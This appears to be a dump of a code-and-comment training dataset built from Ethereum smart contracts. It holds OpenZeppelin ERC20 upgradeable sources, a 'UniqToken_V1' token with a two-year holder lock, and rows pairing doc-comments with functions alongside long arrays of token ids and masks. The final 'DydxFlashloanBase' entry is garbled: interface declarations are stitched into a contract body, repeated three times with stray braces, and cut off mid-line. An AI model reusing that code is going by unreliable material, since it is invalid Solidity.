{IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20Upgradeable.sol"; import "../../../security/PausableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable { function __ERC20Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); __ERC20Pausable_init_unchained(); } function __ERC20Pausable_init_unchained() internal initializer { } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } //SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.2; import '@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PausableUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol'; /** *@dev Contract module which helps to make some fund holded for certain time. * accounts added to _holderlist can't spend funds before release date. */ contract Holdable is Initializable { mapping(address => bool) internal _holdersList; /** *@dev stores the date of initial deployment of the contract. */ uint256 public initialDate; /** *@dev stores the date to relaese holded tokens. */ uint256 public releaseDate; bool private _released; /** * @dev Initializes the contract setting initial date and release date. * Constructor is removed since proxy is used. */ function __Holdable_init() internal initializer { __Holdable_init_unchained(); } function __Holdable_init_unchained() internal initializer { initialDate = block.timestamp; releaseDate = initialDate + 730 days; _released = false; } /** * @dev internal function to add an account to holders list. */ function _addHolder(address _holder) internal virtual { _holdersList[_holder] = true; emit HolderAdded(_holder); } /** * @dev internal function to remove an account from holders list. */ function _removeHolder(address _holder) internal virtual { _holdersList[_holder] = false; emit HolderRemoved(_holder); } /** * @dev function to check whether an account belongs to holders list. */ function isHolder(address account) public view returns (bool) { return _holdersList[account]; } /** * @dev function to check whether release time is reached. */ function released() public virtual returns (bool) { uint256 currentBlockTime = block.timestamp; _released = currentBlockTime > releaseDate; return _released; } /** * @dev Emitted when new `address` added to holders list. */ event HolderAdded(address indexed _account); /** * @dev Emitted when an `address` removed from holders list. */ event HolderRemoved(address indexed _account); } contract UniqToken_V1 is ERC20PausableUpgradeable, OwnableUpgradeable, Holdable { address private _governor; /** * @dev Throws if called by any account other than the owner or governer. */ modifier onlyAdmin { require( _msgSender() == owner() || _msgSender() == governor(), "Caller is not an admin" ); _; } /** * @dev initialize the token contract. Minting _totalSupply into owners account. * setting owner as _governer. * Note:initializer modifier is used to prevent initialize token twice. */ function initialize( string memory name_, string memory symbol_, uint256 totalSupply_ ) public initializer { __ERC20Pausable_init_unchained(); __Pausable_init_unchained(); __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); __Ownable_init_unchained(); __Holdable_init_unchained(); _mint(_msgSender(), totalSupply_); _governor = _msgSender(); } /** *@dev function which returns the governer address. * governer role is created to manage funding. */ function governor() public view returns (address) { return _governor; } /** *@dev external function to set new governer. Function is limited to owner. */ function setGovernor(address newGovernor) public virtual onlyOwner { _setGovernor(newGovernor); } /** *@dev internal function to set new governer. */ function _setGovernor(address newGovernor) internal virtual { _governor = newGovernor; } function addHolder(address holder) public virtual onlyAdmin returns (bool) { _addHolder(holder); return true; } function removeHolder(address holder) public virtual onlyAdmin returns (bool) { _removeHolder(holder); return true; } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require( currentAllowance >= amount, "ERC20: burn amount exceeds allowance" ); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must be the owner of the contract. */ function pause() public virtual onlyOwner { _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must be owner of the contract. */ function unpause() public virtual onlyOwner { _unpause(); } function _transfer( address sender, address recipient, uint256 amount ) internal virtual override { if (isHolder(sender)) { require(released(), "Holders can't transfer before release Date "); } super._transfer(sender, recipient, amount); } }
*@dev stores the date of initial deployment of the contract./*@dev stores the date to relaese holded tokens./* @dev Initializes the contract setting initial date and release date. Constructor is removed since proxy is used./
function __Holdable_init() internal initializer { __Holdable_init_unchained(); }
1,724,471
[ 1, 19632, 326, 1509, 434, 2172, 6314, 434, 326, 6835, 18, 19, 9064, 326, 1509, 358, 1279, 69, 3392, 366, 355, 785, 2430, 18, 19, 225, 10188, 3128, 326, 6835, 3637, 2172, 1509, 471, 3992, 1509, 18, 11417, 353, 3723, 3241, 2889, 353, 1399, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1001, 20586, 429, 67, 2738, 1435, 2713, 12562, 288, 203, 3639, 1001, 20586, 429, 67, 2738, 67, 4384, 8707, 5621, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x6EE00Ee32e9158B285dD6E5736cd8c438d7Ec2c2/sources/src/Vault.sol
/ 0.5% = multiply by 1000 then divide by 5
function calculateWithdrawalFeeValue(uint256 amount, uint256 _epoch) public view returns (uint256 feeValue) { return (amount * epochFee[_epoch]) / 1000; } Factory FUNCTIONS
5,613,198
[ 1, 19, 374, 18, 25, 9, 273, 10194, 635, 4336, 1508, 12326, 635, 1381, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4604, 1190, 9446, 287, 14667, 620, 12, 11890, 5034, 3844, 16, 2254, 5034, 389, 12015, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 14036, 620, 13, 203, 565, 288, 203, 3639, 327, 261, 8949, 380, 7632, 14667, 63, 67, 12015, 5717, 342, 4336, 31, 203, 565, 289, 203, 203, 21821, 7822, 13690, 55, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0x1F63c6e1207496864e4f8B4c9FAcB1C0F43341ec/sources/DydxFlashloaner.sol
-- Internal Helper functions --
contract DydxFlashloanBase { using SafeMath for uint256; function _getMarketIdFromTokenAddress(address _solo, address token) internal view returns (uint256) function ownerSetSpreadPremium(uint256 marketId, Decimal.D256 memory spreadPremium) external; function getIsGlobalOperator(address operator1) external view returns (bool); function getMarketTokenAddress(uint256 marketId) external view returns (address); function ownerSetInterestSetter(uint256 marketId, address interestSetter) external; function getAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketPriceOracle(uint256 marketId) external view returns (address); function getMarketInterestSetter(uint256 marketId) external view returns (address); function getMarketSpreadPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getNumMarkets() external view returns (uint256); function ownerWithdrawUnsupportedTokens(address token, address recipient) external returns (uint256); function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue) external; function ownerSetLiquidationSpread(Decimal.D256 memory spread) external; function ownerSetEarningsRate(Decimal.D256 memory earningsRate) external; function getIsLocalOperator(address owner, address operator1) external view returns (bool); function getAccountPar(Account.Info memory account, uint256 marketId) external view returns (Types.Par memory); function ownerSetMarginPremium(uint256 marketId, Decimal.D256 memory marginPremium) external; function getMarginRatio() external view returns (Decimal.D256 memory); function getMarketCurrentIndex(uint256 marketId) external view returns (Interest.Index memory); function getMarketIsClosing(uint256 marketId) external view returns (bool); function getRiskParams() external view returns (Storage.RiskParams memory); function getAccountBalances(Account.Info memory account) external view returns ( address[] memory, Types.Par[] memory, Types.Wei[] memory ); function renounceOwnership() external; function getMinBorrowedValue() external view returns (Monetary.Value memory); function setOperators(OperatorArg[] memory args) external; function getMarketPrice(uint256 marketId) external view returns (address); function owner() external view returns (address); function isOwner() external view returns (bool); function ownerWithdrawExcessTokens(uint256 marketId, address recipient) external returns (uint256); function ownerAddMarket( address token, address priceOracle, address interestSetter, Decimal.D256 memory marginPremium, Decimal.D256 memory spreadPremium ) external; function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external; function getMarketWithInfo(uint256 marketId) external view returns ( Storage.Market memory, Interest.Index memory, Monetary.Price memory, Interest.Rate memory ); function ownerSetMarginRatio(Decimal.D256 memory ratio) external; function getLiquidationSpread() external view returns (Decimal.D256 memory); function getAccountWei(Account.Info memory account, uint256 marketId) external view returns (Types.Wei memory); function getMarketTotalPar(uint256 marketId) external view returns (Types.TotalPar memory); function getLiquidationSpreadForPair(uint256 heldMarketId, uint256 owedMarketId) external view returns (Decimal.D256 memory); function getNumExcessTokens(uint256 marketId) external view returns (Types.Wei memory); function getMarketCachedIndex(uint256 marketId) external view returns (Interest.Index memory); function getAccountStatus(Account.Info memory account) external view returns (uint8); function getEarningsRate() external view returns (Decimal.D256 memory); function ownerSetPriceOracle(uint256 marketId, address priceOracle) external; function getRiskLimits() external view returns (Storage.RiskLimits memory); function getMarket(uint256 marketId) external view returns (Storage.Market memory); function ownerSetIsClosing(uint256 marketId, bool isClosing) external; function ownerSetGlobalOperator(address operator1, bool approved) external; function transferOwnership(address newOwner) external; function getAdjustedAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketMarginPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getMarketInterestRate(uint256 marketId) external view returns (Interest.Rate memory); } { ISoloMargin solo = ISoloMargin(_solo); uint256 numMarkets = solo.getNumMarkets(); address curToken; for (uint256 i = 0; i < numMarkets; i++) { curToken = solo.getMarketTokenAddress(i); if (curToken == token) { return i; } } revert("No marketId found for provided token"); } function ownerSetSpreadPremium(uint256 marketId, Decimal.D256 memory spreadPremium) external; function getIsGlobalOperator(address operator1) external view returns (bool); function getMarketTokenAddress(uint256 marketId) external view returns (address); function ownerSetInterestSetter(uint256 marketId, address interestSetter) external; function getAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketPriceOracle(uint256 marketId) external view returns (address); function getMarketInterestSetter(uint256 marketId) external view returns (address); function getMarketSpreadPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getNumMarkets() external view returns (uint256); function ownerWithdrawUnsupportedTokens(address token, address recipient) external returns (uint256); function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue) external; function ownerSetLiquidationSpread(Decimal.D256 memory spread) external; function ownerSetEarningsRate(Decimal.D256 memory earningsRate) external; function getIsLocalOperator(address owner, address operator1) external view returns (bool); function getAccountPar(Account.Info memory account, uint256 marketId) external view returns (Types.Par memory); function ownerSetMarginPremium(uint256 marketId, Decimal.D256 memory marginPremium) external; function getMarginRatio() external view returns (Decimal.D256 memory); function getMarketCurrentIndex(uint256 marketId) external view returns (Interest.Index memory); function getMarketIsClosing(uint256 marketId) external view returns (bool); function getRiskParams() external view returns (Storage.RiskParams memory); function getAccountBalances(Account.Info memory account) external view returns ( address[] memory, Types.Par[] memory, Types.Wei[] memory ); function renounceOwnership() external; function getMinBorrowedValue() external view returns (Monetary.Value memory); function setOperators(OperatorArg[] memory args) external; function getMarketPrice(uint256 marketId) external view returns (address); function owner() external view returns (address); function isOwner() external view returns (bool); function ownerWithdrawExcessTokens(uint256 marketId, address recipient) external returns (uint256); function ownerAddMarket( address token, address priceOracle, address interestSetter, Decimal.D256 memory marginPremium, Decimal.D256 memory spreadPremium ) external; function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external; function getMarketWithInfo(uint256 marketId) external view returns ( Storage.Market memory, Interest.Index memory, Monetary.Price memory, Interest.Rate memory ); function ownerSetMarginRatio(Decimal.D256 memory ratio) external; function getLiquidationSpread() external view returns (Decimal.D256 memory); function getAccountWei(Account.Info memory account, uint256 marketId) external view returns (Types.Wei memory); function getMarketTotalPar(uint256 marketId) external view returns (Types.TotalPar memory); function getLiquidationSpreadForPair(uint256 heldMarketId, uint256 owedMarketId) external view returns (Decimal.D256 memory); function getNumExcessTokens(uint256 marketId) external view returns (Types.Wei memory); function getMarketCachedIndex(uint256 marketId) external view returns (Interest.Index memory); function getAccountStatus(Account.Info memory account) external view returns (uint8); function getEarningsRate() external view returns (Decimal.D256 memory); function ownerSetPriceOracle(uint256 marketId, address priceOracle) external; function getRiskLimits() external view returns (Storage.RiskLimits memory); function getMarket(uint256 marketId) external view returns (Storage.Market memory); function ownerSetIsClosing(uint256 marketId, bool isClosing) external; function ownerSetGlobalOperator(address operator1, bool approved) external; function transferOwnership(address newOwner) external; function getAdjustedAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketMarginPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getMarketInterestRate(uint256 marketId) external view returns (Interest.Rate memory); } { ISoloMargin solo = ISoloMargin(_solo); uint256 numMarkets = solo.getNumMarkets(); address curToken; for (uint256 i = 0; i < numMarkets; i++) { curToken = solo.getMarketTokenAddress(i); if (curToken == token) { return i; } } revert("No marketId found for provided token"); } function ownerSetSpreadPremium(uint256 marketId, Decimal.D256 memory spreadPremium) external; function getIsGlobalOperator(address operator1) external view returns (bool); function getMarketTokenAddress(uint256 marketId) external view returns (address); function ownerSetInterestSetter(uint256 marketId, address interestSetter) external; function getAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketPriceOracle(uint256 marketId) external view returns (address); function getMarketInterestSetter(uint256 marketId) external view returns (address); function getMarketSpreadPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getNumMarkets() external view returns (uint256); function ownerWithdrawUnsupportedTokens(address token, address recipient) external returns (uint256); function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue) external; function ownerSetLiquidationSpread(Decimal.D256 memory spread) external; function ownerSetEarningsRate(Decimal.D256 memory earningsRate) external; function getIsLocalOperator(address owner, address operator1) external view returns (bool); function getAccountPar(Account.Info memory account, uint256 marketId) external view returns (Types.Par memory); function ownerSetMarginPremium(uint256 marketId, Decimal.D256 memory marginPremium) external; function getMarginRatio() external view returns (Decimal.D256 memory); function getMarketCurrentIndex(uint256 marketId) external view returns (Interest.Index memory); function getMarketIsClosing(uint256 marketId) external view returns (bool); function getRiskParams() external view returns (Storage.RiskParams memory); function getAccountBalances(Account.Info memory account) external view returns ( address[] memory, Types.Par[] memory, Types.Wei[] memory ); function renounceOwnership() external; function getMinBorrowedValue() external view returns (Monetary.Value memory); function setOperators(OperatorArg[] memory args) external; function getMarketPrice(uint256 marketId) external view returns (address); function owner() external view returns (address); function isOwner() external view returns (bool); function ownerWithdrawExcessTokens(uint256 marketId, address recipient) external returns (uint256); function ownerAddMarket( address token, address priceOracle, address interestSetter, Decimal.D256 memory marginPremium, Decimal.D256 memory spreadPremium ) external; function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external; function getMarketWithInfo(uint256 marketId) external view returns ( Storage.Market memory, Interest.Index memory, Monetary.Price memory, Interest.Rate memory ); function ownerSetMarginRatio(Decimal.D256 memory ratio) external; function getLiquidationSpread() external view returns (Decimal.D256 memory); function getAccountWei(Account.Info memory account, uint256 marketId) external view returns (Types.Wei memory); function getMarketTotalPar(uint256 marketId) external view returns (Types.TotalPar memory); function getLiquidationSpreadForPair(uint256 heldMarketId, uint256 owedMarketId) external view returns (Decimal.D256 memory); function getNumExcessTokens(uint256 marketId) external view returns (Types.Wei memory); function getMarketCachedIndex(uint256 marketId) external view returns (Interest.Index memory); function getAccountStatus(Account.Info memory account) external view returns (uint8); function getEarningsRate() external view returns (Decimal.D256 memory); function ownerSetPriceOracle(uint256 marketId, address priceOracle) external; function getRiskLimits() external view 